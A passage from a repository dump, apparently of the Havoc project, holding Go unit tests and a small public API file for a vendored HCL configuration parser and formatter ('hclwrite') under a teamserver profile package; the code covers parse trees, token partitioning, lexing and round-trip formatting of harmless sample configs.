\"label2\"`,\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" {\",\n                            },\n                            {\n                                Type: \"Body\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"}\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"b {\\n  a = 1\\n}\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Block\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"b\",\n                            },\n                            {\n                                Type: \"blockLabels\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" {\",\n                            },\n                            {\n                                Type: \"Body\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"\\n\",\n                                    },\n                                    {\n                                        Type: \"Attribute\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"comments\",\n                                            },\n                                            {\n                                                Type: \"identifier\",\n                                                Val:  \"  a\",\n                                            },\n                                            {\n                                                Type: \"Tokens\",\n                                                Val:  \" =\",\n                                            },\n                                            {\n                                                Type: \"Expression\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"Tokens\",\n                                                        Val:  \" 1\",\n                                                    },\n                                                },\n                                            },\n                                            {\n                                                Type: \"comments\",\n                                            },\n                                            {\n                                                Type: \"Tokens\",\n                                                Val:  \"\\n\",\n                                            },\n                                        },\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"}\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo.bar\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"Tokens\",\n                                                        Val:  \".\",\n                                                    },\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \"bar\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo[0]\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                            {\n                                                Type: \"TraverseIndex\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"Tokens\",\n                                                        Val:  \"[\",\n                                                    },\n                                                    {\n                                                        Type: \"number\",\n                                                        Val:  \"0\",\n                                                    },\n                                                    {\n                                                        Type: \"Tokens\",\n                                                        Val:  \"]\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo.0\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                            {\n                                                Type: \"TraverseIndex\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"Tokens\",\n                                                        Val:  \".\",\n                                                    },\n                                                    {\n                                                        Type: \"number\",\n                                                        Val:  \"0\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo.*\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \".*\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo.*.bar\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \".*.bar\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo[*]\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"[*]\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo[*].bar\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"[*].bar\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo[bar]\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"[\",\n                                    },\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \"bar\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"]\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo[bar.baz]\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"[\",\n                                    },\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \"bar\",\n                                                    },\n                                                },\n                                            },\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"Tokens\",\n                                                        Val:  \".\",\n                                                    },\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \"baz\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"]\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n        {\n            \"a = foo[bar].baz\\n\",\n            TestTreeNode{\n                Type: \"Body\",\n                Children: []TestTreeNode{\n                    {\n                        Type: \"Attribute\",\n                        Children: []TestTreeNode{\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"identifier\",\n                                Val:  \"a\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \" =\",\n                            },\n                            {\n                                Type: \"Expression\",\n                                Children: []TestTreeNode{\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \" foo\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"[\",\n                                    },\n                                    {\n                                        Type: \"Traversal\",\n                                        Children: []TestTreeNode{\n                                            {\n                                                Type: \"TraverseName\",\n                                                Children: []TestTreeNode{\n                                                    {\n                                                        Type: \"identifier\",\n                                                        Val:  \"bar\",\n                                                    },\n                                                },\n                                            },\n                                        },\n                                    },\n                                    {\n                                        Type: \"Tokens\",\n                                        Val:  \"].baz\",\n                                    },\n                                },\n                            },\n                            {\n                                Type: \"comments\",\n                            },\n                            {\n                                Type: \"Tokens\",\n                                Val:  \"\\n\",\n                            },\n                        },\n                    },\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test.src, func(t *testing.T) {\n            file, diags := parse([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) > 0 {\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            got := makeTestTree(file.body)\n\n            if !cmp.Equal(got, test.want) {\n                diff := cmp.Diff(got, test.want)\n                t.Errorf(\n                    \"wrong result\\ninput:\\n%s\\n\\ngot:\\n%s\\nwant:%s\\n\\ndiff:\\n%s\",\n                    test.src,\n                    spew.Sdump(got),\n                    spew.Sdump(test.want),\n                    diff,\n                )\n            }\n        })\n    }\n}\n\nfunc TestPartitionTokens(t *testing.T) {\n    tests := []struct {\n        tokens    hclsyntax.Tokens\n        rng       hcl.Range\n        wantStart int\n        wantEnd   int\n    }{\n        {\n            hclsyntax.Tokens{},\n            hcl.Range{\n                Start: hcl.Pos{Byte: 0},\n                End:   hcl.Pos{Byte: 0},\n            },\n            0,\n            0,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 0},\n                        End:   hcl.Pos{Byte: 4},\n                    },\n                },\n            },\n            hcl.Range{\n                Start: hcl.Pos{Byte: 0},\n                End:   hcl.Pos{Byte: 4},\n            },\n            0,\n            1,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 0},\n                        End:   hcl.Pos{Byte: 4},\n                    },\n                },\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 4},\n                        End:   hcl.Pos{Byte: 8},\n                    },\n                },\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 8},\n                        End:   hcl.Pos{Byte: 12},\n                    },\n                },\n            },\n            hcl.Range{\n                Start: hcl.Pos{Byte: 4},\n                End:   hcl.Pos{Byte: 8},\n            },\n            1,\n            2,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 0},\n                        End:   hcl.Pos{Byte: 4},\n                    },\n                },\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 4},\n                        End:   hcl.Pos{Byte: 8},\n                    },\n                },\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 8},\n                        End:   hcl.Pos{Byte: 12},\n                    },\n                },\n            },\n            hcl.Range{\n                Start: hcl.Pos{Byte: 0},\n                End:   hcl.Pos{Byte: 8},\n            },\n            0,\n            2,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 0},\n                        End:   hcl.Pos{Byte: 4},\n                    },\n                },\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 4},\n                        End:   hcl.Pos{Byte: 8},\n                    },\n                },\n                {\n                    Type: hclsyntax.TokenIdent,\n                    Range: hcl.Range{\n                        Start: hcl.Pos{Byte: 8},\n                        End:   hcl.Pos{Byte: 12},\n                    },\n                },\n            },\n            hcl.Range{\n                Start: hcl.Pos{Byte: 4},\n                End:   hcl.Pos{Byte: 12},\n            },\n            1,\n            3,\n        },\n    }\n\n    prettyConfig := &pretty.Config{\n        Diffable:          true,\n        IncludeUnexported: true,\n        PrintStringers:    true,\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d\", i), func(t *testing.T) {\n            gotStart, gotEnd := partitionTokens(test.tokens, test.rng)\n\n            if gotStart != test.wantStart || gotEnd != test.wantEnd {\n                t.Errorf(\n                    \"wrong result\\ntokens: %s\\nrange: %#v\\ngot:   %d, %d\\nwant:  %d, %d\",\n                    prettyConfig.Sprint(test.tokens), test.rng,\n                    gotStart, test.wantStart,\n                    gotEnd, test.wantEnd,\n                )\n            }\n        })\n    }\n}\n\nfunc TestPartitionLeadCommentTokens(t *testing.T) {\n    tests := []struct {\n        tokens    hclsyntax.Tokens\n        wantStart int\n    }{\n        {\n            hclsyntax.Tokens{},\n            0,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenComment,\n                },\n            },\n            0,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenComment,\n                },\n                {\n                    Type: hclsyntax.TokenComment,\n                },\n            },\n            0,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenComment,\n                },\n                {\n                    Type: hclsyntax.TokenNewline,\n                },\n            },\n            2,\n        },\n        {\n            hclsyntax.Tokens{\n                {\n                    Type: hclsyntax.TokenComment,\n                },\n                {\n                    Type: hclsyntax.TokenNewline,\n                },\n                {\n                    Type: hclsyntax.TokenComment,\n                },\n            },\n            2,\n        },\n    }\n\n    prettyConfig := &pretty.Config{\n        Diffable:          true,\n        IncludeUnexported: true,\n        PrintStringers:    true,\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d\", i), func(t *testing.T) {\n            gotStart := partitionLeadCommentTokens(test.tokens)\n\n            if gotStart != test.wantStart {\n                t.Errorf(\n                    \"wrong result\\ntokens: %s\\ngot:   %d\\nwant:  %d\",\n                    prettyConfig.Sprint(test.tokens),\n                    gotStart, test.wantStart,\n                )\n            }\n        })\n    }\n}\n\nfunc TestLexConfig(t *testing.T) {\n    tests := []struct {\n        input string\n        want  Tokens\n    }{\n        {\n            `a  b `,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`a`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`b`),\n                    SpacesBefore: 2,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 1,\n                },\n            },\n        },\n        {\n            `\nfoo \"bar\" \"baz\" {\n    pizza = \" cheese \"\n}\n`,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`bar`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`baz`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte(`{`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte(\"\\n\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`pizza`),\n                    SpacesBefore: 4,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte(`=`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(` cheese `),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte(\"\\n\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte(`}`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte(\"\\n\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    prettyConfig := &pretty.Config{\n        Diffable:          true,\n        IncludeUnexported: true,\n        PrintStringers:    true,\n    }\n\n    for _, test := range tests {\n        t.Run(test.input, func(t *testing.T) {\n            got := lexConfig([]byte(test.input))\n\n            if !reflect.DeepEqual(got, test.want) {\n                diff := prettyConfig.Compare(test.want, got)\n                t.Errorf(\n                    \"wrong result\\ninput: %s\\ndiff:  %s\", test.input, diff,\n                )\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/public.go",
    "content": "package hclwrite\n\nimport (\n    \"bytes\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// NewFile creates a new file object that is empty and ready to have constructs\n// added t it.\nfunc NewFile() *File {\n    body := &Body{\n        inTree: newInTree(),\n        items:  newNodeSet(),\n    }\n    file := &File{\n        inTree: newInTree(),\n    }\n    file.body = file.inTree.children.Append(body)\n    return file\n}\n\n// ParseConfig interprets the given source bytes into a *hclwrite.File. The\n// resulting AST can be used to perform surgical edits on the source code\n// before turning it back into bytes again.\nfunc ParseConfig(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) {\n    return parse(src, filename, start)\n}\n\n// Format takes source code and performs simple whitespace changes to transform\n// it to a canonical layout style.\n//\n// Format skips constructing an AST and works directly with tokens, so it\n// is less expensive than formatting via the AST for situations where no other\n// changes will be made. It also ignores syntax errors and can thus be applied\n// to partial source code, although the result in that case may not be\n// desirable.\nfunc Format(src []byte) []byte {\n    tokens := lexConfig(src)\n    format(tokens)\n    buf := &bytes.Buffer{}\n    tokens.WriteTo(buf)\n    return buf.Bytes()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/round_trip_test.go",
    "content": "package hclwrite\n\nimport (\n    \"bytes\"\n    \"testing\"\n\n    \"github.com/sergi/go-diff/diffmatchpatch\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/function\"\n    \"github.com/zclconf/go-cty/cty/function/stdlib\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc TestRoundTripVerbatim(t *testing.T) {\n    tests := []string{\n        ``,\n        `foo = 1\n`,\n        `\nfoobar = 1\nbaz    = 1\n`,\n        `\n# this file is awesome\n\n# tossed salads and scrambled eggs\nfoobar = 1\nbaz    = 1\n\nblock {\n  a = \"a\"\n  b = \"b\"\n  c = \"c\"\n  d = \"d\"\n\n  subblock {\n  }\n\n  subblock {\n    e = \"e\"\n  }\n}\n\n# and they all lived happily ever after\n`,\n    }\n\n    for _, test := range tests {\n        t.Run(test, func(t *testing.T) {\n            src := []byte(test)\n            file, diags := parse(src, \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            wr := &bytes.Buffer{}\n            n, err := file.WriteTo(wr)\n            if n != int64(len(test)) {\n                t.Errorf(\"wrong number of bytes %d; want %d\", n, len(test))\n            }\n            if err != nil {\n                t.Fatalf(\"error from WriteTo\")\n            }\n\n            result := wr.Bytes()\n\n            if !bytes.Equal(result, src) {\n                dmp := diffmatchpatch.New()\n                diffs := dmp.DiffMain(string(src), string(result), false)\n                //t.Errorf(\"wrong result\\nresult:\\n%s\\ninput:\\n%s\", result, src)\n                t.Errorf(\"wrong result\\ndiff: (red indicates missing lines, and green indicates unexpected lines)\\n%s\", dmp.DiffPrettyText(diffs))\n            }\n        })\n    }\n}\n\nfunc TestRoundTripFormat(t *testing.T) {\n    // The goal of this test is to verify that the formatter doesn't change\n    // the semantics of any expressions when it adds and removes whitespace.\n    // String templates are the primary area of concern here, but we also\n    // test some other things for completeness sake.\n    //\n    // The tests here must define zero or more attributes, which will be\n    // extract with JustAttributes and evaluated both before and after\n    // formatting.\n\n    tests := []string{\n        \"\",\n        \"\\n\\n\\n\",\n        \"a=1\\n\",\n        \"a=\\\"hello\\\"\\n\",\n        \"a=\\\"${hello} world\\\"\\n\",\n        \"a=upper(\\\"hello\\\")\\n\",\n        \"a=upper(hello)\\n\",\n        \"a=[1,2,3,4,five]\\n\",\n        \"a={greeting=hello}\\n\",\n        \"a={\\ngreeting=hello\\n}\\n\",\n        \"a={\\ngreeting=hello}\\n\",\n        \"a={greeting=hello\\n}\\n\",\n        \"a={greeting=hello,number=five,sarcastic=\\\"${upper(hello)}\\\"\\n}\\n\",\n        \"a={\\ngreeting=hello\\nnumber=five\\nsarcastic=\\\"${upper(hello)}\\\"\\n}\\n\",\n        \"a=<<EOT\\nhello\\nEOT\\n\\n\",\n        \"a=[<<EOT\\nhello\\nEOT\\n]\\n\",\n        \"a=[\\n<<EOT\\nhello\\nEOT\\n]\\n\",\n        \"a=[\\n]\\n\",\n        \"a=1\\nb=2\\nc=3\\n\",\n        \"a=\\\"${\\n5\\n}\\\"\\n\",\n    }\n\n    ctx := &hcl.EvalContext{\n        Variables: map[string]cty.Value{\n            \"hello\": cty.StringVal(\"hello\"),\n            \"five\":  cty.NumberIntVal(5),\n        },\n        Functions: map[string]function.Function{\n            \"upper\": stdlib.UpperFunc,\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(test, func(t *testing.T) {\n\n            attrsAsObj := func(src []byte, phase string) cty.Value {\n                t.Logf(\"source %s:\\n%s\", phase, src)\n                f, diags := hclsyntax.ParseConfig(src, \"\", hcl.Pos{Line: 1, Column: 1})\n                if len(diags) != 0 {\n                    for _, diag := range diags {\n                        t.Logf(\" - %s\", diag.Error())\n                    }\n                    t.Fatalf(\"unexpected diagnostics in parse %s\", phase)\n                }\n\n                attrs, diags := f.Body.JustAttributes()\n                if len(diags) != 0 {\n                    for _, diag := range diags 